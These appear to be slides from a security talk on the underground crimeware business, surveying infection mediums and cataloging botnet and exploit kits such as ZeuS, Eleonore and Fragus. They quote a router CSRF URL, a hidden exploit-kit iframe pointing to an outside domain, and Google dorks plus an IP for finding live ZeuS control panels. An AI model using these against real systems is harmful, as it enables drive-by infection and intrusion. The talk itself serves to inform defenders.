“It’s immoral, but the money makes it right”

-- Jeanson James Ancheta, convicted bot-herder
Who am I?

Roy Firestein
roy@firestein.net | roy@digitaldefence.ca

• Security Consultant with DigitalDefence.ca
• Founder of SEC-C.org Hacker Space
• Student of Informatics & Security @ Seneca
• EvilFingers Associate Researcher
Agenda

• Malware Today
• The Malware Business
• Eight Types of Crimeware
• Catalog of Web-based Crimeware Kits
• Finding Crimeware with Google
• Statistics and Future Trends
• Questions
MALWARE TODAY
Current State of Malware

• Modular, easy to add new features
• More Destructive and Powerful
• Monetized by huge profits
• Adaptable Lifecycle
• Competitive
• Sneaky, minimal user interaction (drive-by)
Evolution

• 1986 to 2002 - Hobbyists
• 2002 to date - Criminals
• 2006 to date - Spies
Sources of New Malware
Organized Crime and...

THE MALWARE BUSINESS
Contributing Factors

• Cold War ends, leaving many spies out of a job
• People live in minimal conditions
• Many are looking for ways to make money
• Organized crime is already well rooted
• Corruption is widespread
• Weak governments and enforcement
• Missing or lacking computer crime laws
Underground Business Incentives

Eastern Europe – Conditions:
• Low income
• Local geeks with computer skills
• People looking for opportunities

Benefits for Employers (organized crime):
• Cheap labor
• Wealth of skills
• Industrial Espionage outsourcing providers
Black Startup – Mission Statement

• Make (steal) Money

• Do so Massively, and Efficiently

• Don’t get caught
ARE YOU SURE?
HAVE YOU SEEN THEM? – YES!
Black Market Startup

- Get loan in the US (and ask for bailout 😊)
- Fly back to Eastern Europe
- Call your uncle in the organized crime
- Recruit five developers with skillz
- Write a worm to steal funds
- Set your worm loose on customers of a bank
- Collect your pay from a Swiss bank
- Pay your uncle for helping you...?
Sources of Revenue

$ SPAM
$ Theft of Credit Card numbers
$ Credential theft of eBay / PayPal accounts
$ Credential theft to online banks
$ Credential theft to stock brokers
$ Credential theft to online poker/gambling sites
$ DDoS Extortion
$ Click Fraud
Old Tactics, New Methods

• "What changed is scale. Fraud can be perpetrated against hundreds of thousands, automatically."
  --Bruce Schneier

• "It seems the best practices espoused by Fortune magazine and Harvard Business School have found their way into the online underworld."
  --Tom Gillis, Cisco
THREAT MODEL
Threat Model

1. Distribution
2. Infection
3. Execution
4. Steal Info on Local HD
5. Steal User Input
6. Attacker receives data
7. Legit Server receives data
Threat Flow Model

Distribution → Infection → Execution

Realtime Theft

Attacker gets Data

Legit Server gets Data

Local Theft

Based on model from Crimeware: Understanding New Attacks and Defenses by Markus Jakobsson and Zulfikar Ramzan, Addison Wesley Publishing
EIGHT MEDIUMS FOR CRIMEWARE

- P2P
- Firmware
- Browser
- Rootkits
- Virtual Worlds
- Advertising
- Devices
- Botnets
Crimeware in P2P

• P2P is built on trust
• relies on users for contributing and distributing
• As P2P becomes more popular:
  – More naïve users use the network
  – Easier to get users to download malware
  – Just change the name to a popular game or app
  – Once downloaded, the user further distributes it
Crimeware in Firmware

- Firmware stored on EEPROM or Flash
- Allows vendors to offer upgrades and patches
- Such feature can also be abused
- Routers, MP3 players, Phones, Printers....
- Consumer Router CSRF Attack Example:
  http://admin:admin@192.168.0.1/manage.cgi?
  remote_management=1
- Next step: upload new firmware, redirect DNS
Crimeware in Rootkits

• Need I say more? - Yes!
• Windows: User/Kernel-Mode, Driver Rootkit
• Linux: Executable, LKM, RT Kernel Patch, VFS
• BIOS Rootkits
• PCI Rootkits
• Virtual Machine Rootkit:
  – Software Based (rouge VMM installation)
  – Hardware Based (using Intel VT-x and AMD-V)
Crimeware in Virtual Worlds

• Virtual Property can be sold for IRL money!
  – Virtual Identity Theft
  – Scripted activity to increase points
  – WoW sweatshops

• Trojaned Gambling Calculators

• Phishing for online gambling accounts

• Exploits in MMOGs and gambling sites/apps
Crimeware in Small Devices

• Plug-n-Play Malware
  – USB Drives and Memory Cards
  – Multimedia Devices (iPods, Zune, Archos, PMP…)

• Propagation Through USB / Autorun

• Can abuse DMA

• RFID exploit, delivering a payload

• Credit/Debit Card exploits

• Smart Phones (iPhone SMS exploit)
Crimeware in Advertising

• The Dot-Com boom and WWW popularity
• New prospects for lead generation, brand recognition and e-commerce
• Many ad-networks, advertisers and web publishers become involved
• Money is changing hands multiple times, with little oversight
• Criminals begin conducting fraud
Crimeware in Advertising - Methods

• Clickbots – increase ad revenue, deplete budget for competitors, and resale of bots
• Clicking Sweatshops
• Incentivized and Psychological – asking users to click, or placing ads near flash games in hopes they will be clicked by mistake
• Malware based
• OWASP Top 10 – XSS, CSRF, iFrame/JS injection
Crimeware in Botnets

• DDoS for blackmail and ransom
• Click Fraud – clicking ads to generate revenue
• Malware Installation
• Affiliate Fraud (adware usually)
• SPAM
• Phishing / Pharming
• All of which is also rented to 3rd parties
Crimeware in Browsers

- Browsers are feature rich platforms with many plugins and extensions
- Ignoring browser/plugin updates introduces a new infection vector
  - Drive-by-Downloads to install malware
  - Phishing to steal credentials
  - Transaction Generators wait until you login, then uses session to issue its own transaction
SHOPPING FOR CRIMEWARE
ZeuS Kit – Features

• Largest crimeware kit and botnet to date
• Highest infection rate to date (3.6M in US)
• Statistics engine
• Get screenshots in real-time
• Intercept HTTP/S using wininet.dll
• Backconnect to all services (RDP, Socks, FTP…)
• Polymorphic Encryption and Anti-Analysis
• IM Integration (Jabber)
Control Panel 1.2.4.2 Installer

This application install and configure your control panel on this server. Please type settings and press 'Install'.

**Root user:**
User name: (1-20 chars): admin
Password (6-64 chars):

**MySQL server:**
Host: 127.0.0.1
User: root
Password:
Database: cpdb

**Local folders:**
Reports: _reports

**Options:**
Online bot timeout: 25
Encryption key (1-255 chars):

☑️ Enable write reports to database.
☐ Enable write reports to local path.

--- Install ---
Eleonore Exp Kit – Features

- Command & Control web panel
- Comes with 9 exploits
- Crisp design
- Live support on ICQ (#9000001)
- Cost: $700 USD
- Accessories: Cryptor $50, Extra domain $50

Exploits:

<table>
<thead>
<tr>
<th>Exploits</th>
<th>DirectX DirectShow</th>
<th>MS009-02</th>
<th>Telnet - Opera</th>
</tr>
</thead>
<tbody>
<tr>
<td>Font tags – FireFox</td>
<td>PDF collab.getIcon</td>
<td>PDF Util_PRINTF</td>
<td></td>
</tr>
<tr>
<td>PDF collab.collectEmailInfo</td>
<td>MDAC</td>
<td></td>
<td>Spreadsheet</td>
</tr>
</tbody>
</table>
Eleonore Exp

Authorization:

Login:

Password:

Send

Eleonore Exploits pack version 1.38
Please enter your login and password.

All rights reserved by ExManoize.
Elcomere Exp

Fast statistic:
Traffic: 3216 / Loads: 827 / Percent: 25.72%

URL for traffic:
http://elcomere.net/test

Iframe code:
<iframe src="http://elcomere.net/test/index.php" width="1" height="1" style="display:none"></iframe>

Encode iframe double unescape:

```html
<script>
var s = document.write(unescape(unescape(encodeURIComponent('...'))));
</script>
```

Encode iframe 84

```html
<script>
var s = document.write(unescape(unescape(encodeURIComponent('...'))));
</script>
```
Andrenalin Botnet Kit – Features

• Web-based C&C panel with the usual features
• Special Features:
  – Steals local certificates
  – Keylogging and Local Pharming
  – Anti-Forensics/cleanup modules
  – Removes other malware
• 24x7 Technical Support
• Price: $3500 USD
Fragus Kit - Features

• PHP based botnet framework
• Crisp design, dual language support (EN,RU)
• Simple stats about browsers, OSs and countries
• Comes with 9 exploits “built-in”
• Cost: $800 USD
• Accessories: $150 for crypt-lib, $30 packer

Exploits:

<table>
<thead>
<tr>
<th>MDAC</th>
<th>PDF printf()</th>
</tr>
</thead>
<tbody>
<tr>
<td>MS DirectShow</td>
<td>PDF collectEmailInfo()</td>
</tr>
<tr>
<td>MS09-002 - for IE7</td>
<td>PDF getIcon()</td>
</tr>
<tr>
<td>MS Spreadsheet</td>
<td>AOL IWinAmp</td>
</tr>
<tr>
<td>MS Snapshot MS COM</td>
<td></td>
</tr>
</tbody>
</table>
Fragus Kit – Features Cont.

- Ability to quickly check the data through a summary without loading the page.
- Manage the upload of files from the admin panel.
- Allows you to specify a binary file that is uploaded to the system.
- Ability to distinguish traffic by a "client" for each statistic separately.
- Choose the file to upload from the admin panel or choose randomly.
- Allows the client to maintain their own kit by selecting from a list of exploits.
- It can control the statistical information from a domain independent of the administration, which allows access to information without performing the authentication process.
- Lets clear the statistical information of a general or particular in each "customer."
- All configuration options offered Fragus for the administration and control of botnets can be performed easily from the Framework.
- Has an internal search system that lets you search and find quick links to iframe open in traffic. Also in general or in particular for each "customer."

Note: If English is unclear – blame Google Translator!
INF` [LOADER] Kit – Features

- Web-based C&C panel for the botnet
- Bypass firewalls and antivirus
- Self-Destruct option for bots
- Statistics engine
- Hints of Marijuana in the design
- Cost: $100 USD
<table>
<thead>
<tr>
<th>URLs</th>
<th>Countries</th>
<th>Nums</th>
<th>Done</th>
<th>Start Time</th>
<th>Stop Time</th>
<th>Status</th>
<th>New Only</th>
<th>Control PANEL</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://curv/instller">http://curv/instller</a></td>
<td>show</td>
<td>3000</td>
<td>2540</td>
<td>22.08.2008</td>
<td></td>
<td>Stopped</td>
<td>no</td>
<td>UserStat stat pause del</td>
</tr>
</tbody>
</table>

Add Files (Links):

<table>
<thead>
<tr>
<th>Use</th>
<th>Num Uploads</th>
<th>LDL</th>
<th>New Only</th>
<th>Countries</th>
<th>Add File List</th>
</tr>
</thead>
</table>
What happens when crimeware kits proliferate -

GDBH FOR CRIMEWARE
Googling for Crimeware

• For this exercise, we will attempt to find a ZeuS crimeware C&C panel

• What do we need?
  – We need to know which strings of text are unique to ZeuS (vanilla install)

• How do we find it?
  – Screenshot of ZeuS login page from security blogs
Looking at the previous screenshot, we can see the following unique string of text:

ZeuS :: Login

Google search operators we will use:

– intitle: Searches for strings in the title of pages
– filetype: Search for specific file extensions (type)

Resulting Query:

intitle:("ZeuS :: Login") filetype:php
Wow, a true positive on first run!
The login screen for our discovered ZeuS
Cool, but what’s next?

• We now want to further study this crimeware
• Information we want:
  – The structure of the crimeware
  – Files and scripts that make the crimeware
  – Exploits used in this crimeware
  – What else is hosted on the server
• How do we get this information?
  – Ask Google!
Google Data Base Hacking Part 2

• Asking Google what else it knows about the site and what it has cached

• Another Google search operator:
  – site: Finds all indexed information of address

• New Query:

  site:72.233.79.18
GLOBAL CHANGES:
- code improvements and optimisations
- many internal data checkings added
- includes changed to requires
- exit() functions instead of die()
- echo() functions instead of print()
- mysql_affected_rows() changed to mysql_num_rows() almost everywhere
- all queries fixed in system/mod.*.php files (just no time to tell about it)
- no text password in database and cleartext password in $SESSION, cookies auth gone, now md5 hashes everywhere
- GeoIP support added, see s.php changes

!!! added system/kg.func.php with a couple of new functions

Installer updates:
- some language improvements and preinstallation checks
- added php version checking, now you must have php 5.1.0 or higher to install this script

s.php
- fixes vulnerability based on files as logs uploading:
  - fs() function fixed, now only a-zA-Z0-9_ Log names
  - fixed logs adding process, if log dir was already exists - log wasn't stored, now it's stored normally

index.php:
- google.com redirect, fuck them

in.php:
- fixed possible sql injection in creds checking (line 131-156)
- GetUserData() function rewritten, possible sql injection fixed
- possible remote include at the end of file fixed (don't forget about allow_url_include = off in your php.ini)

redir.php
- socket error definition

s.php
- gcnt() function rewritten, now you can use GeoIP(free)/GeoIPCity(paid)/IP2C (one of it)
- ip address checking ($_GET['ip'] variable) through validIP() function (see system/kg.func.php)
- all queries fixed, input data sanitized

fmt.php
- fixed Log2SQL() function, strict data checkings/sanitizing added

system/global.php
- createdir() function rewritten, umask bug fixed (if umask was not 22/022/0022, perms were setting incorrect)
## Findings

<table>
<thead>
<tr>
<th>Location</th>
<th>Files</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>/load</td>
<td>1.exe, 111.exe, 116.exe, 422_av.exe, cm.exe, cr_str.exe, cr_str2.exe, demo-key.exe, exe.exe, f.exe, hot.exe</td>
<td>Exploits with probably a downloader payload</td>
</tr>
<tr>
<td>/z</td>
<td>Changelog.txt, inadmin.php, index.php, redir.php, sss.php</td>
<td>ZeuS files for determining victim browser to send right exploit</td>
</tr>
<tr>
<td>/z</td>
<td>Conference.doc</td>
<td>Malicious Word file</td>
</tr>
<tr>
<td>/z/theme/</td>
<td>Style.css, menu.js, html.php, style.css.bak</td>
<td>Template files for the ZeuS C&amp;C</td>
</tr>
<tr>
<td>/24x7/24x7/inc/</td>
<td>GeoIP.dat, arc.php, auth.php, configure.inc, declarations.php, fns1.php, fns2.php, geoip.dat, index.htm</td>
<td>Probably the system and configuration files, in an obscure location</td>
</tr>
</tbody>
</table>
ARE WE KEEPING UP?
Statistics

Websense released stats for first half of 2009:

• 233% growth in the number of malicious sites in last 6 months
• 77% of Web sites with malicious code are legitimate sites that got compromised
• 95% of comments and posts are SPAM
• 57% of data-stealing attacks are Web based
• 85.6% of all unwanted emails contained malicious links
ZeuS Statistics

- About **3.6M** infected PCs in the US alone
- **44%** of financial malware are ZeuS
- **55%** of ZeuS infected PCs have up-to-date antivirus protection
- Very low detection rate

Statistics and Images by Trusteer, September 14, 2009
Future Trends

• Mobile Market Penetration
• More Context-Aware
• Better Localization, less typos in SPAM
• Open Source Malware (Hybrid, TRiAD project)
• Better encryption and obfuscation
• Cryptoviral Extortions
• Rise in Intellectual Property Theft
Key Points

• Your antivirus is STILL useless
• Malware Authors update their multi-vendor antivirus signatures faster than you
• Malware authors collaborate in efforts and share assets to increase efficiency
• Demand for illegal services will drive the development of an Ecosystem underground
OMG, OMG!
WHAT DO WE DO?
What can/should we do?

- DETECTION and PREVENTION will eventually fail – so make sure you can RESPOND quickly
- Push for Local Legislation
- Make crime unworthy – increase the risk
- Pursue and prosecute cyber criminals
- UN Initiatives
- INTERPOL
QUESTIONS?
Recommended Resources

- http://MalwareURL.com
- http://EvilFingers.blogspot.com
- http://ddanchev.blogspot.com
- http://datalossdb.org
- http://rootkitanalytics.com
Sources

• Crimeware: Understanding New Attacks and Defenses, by Markus Jakobsson and Zulfikar Ramzan; Addison Wesley 2008